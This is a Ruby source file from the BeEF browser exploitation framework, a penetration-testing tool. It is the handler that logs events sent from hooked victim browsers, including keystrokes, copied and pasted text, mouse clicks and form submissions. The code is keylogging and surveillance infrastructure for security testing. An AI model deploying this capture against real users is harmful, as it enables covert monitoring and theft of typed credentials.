Files
beef/extensions/events/handler.rb
2014-12-30 07:44:58 +10:00

87 lines
2.5 KiB
Ruby

#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Events
#
# The http handler that manages the Events.
#
class Handler
Z = BeEF::Core::Models::HookedBrowser
def initialize(data)
@data = data
setup()
end
#
# Sets up event logging
#
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error "[EVENTS] beef_hook is null"
return
end
# validates that a hooked browser with the beef_hook token exists in the db
zombie = Z.first(:session => beef_hook) || nil
if zombie.nil?
print_error "[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database"
return
end
events = @data['results']
# push events to logger
logger = BeEF::Core::Logger.instance
events.each do |key,value|
logger.register('Event', parse(value), zombie.id)
end
end
def parse(event)
case event['type']
when 'click'
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
when 'focus'
result = "#{event['time']}s - [Focus] Browser window has regained focus."
when 'copy'
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
when 'cut'
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
when 'paste'
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
when 'blur'
result = "#{event['time']}s - [Blur] Browser window has lost focus."
when 'keys'
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
print_debug "EventData: #{event['data']}"
if event['mods'].size > 0
print_debug "Event has mods"
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
else
result = "#{event['time']}s - [User Typed] #{event['data']}"
end
when 'submit'
result = "#{event['time']}s - [Form Submitted] \"#{event['data']}\" > #{event['target']}"
else
print_debug '[EVENTS] Event handler has received an unknown event'
result = "#{event['time']}s - Unknown event"
end
result
end
end
end
end
end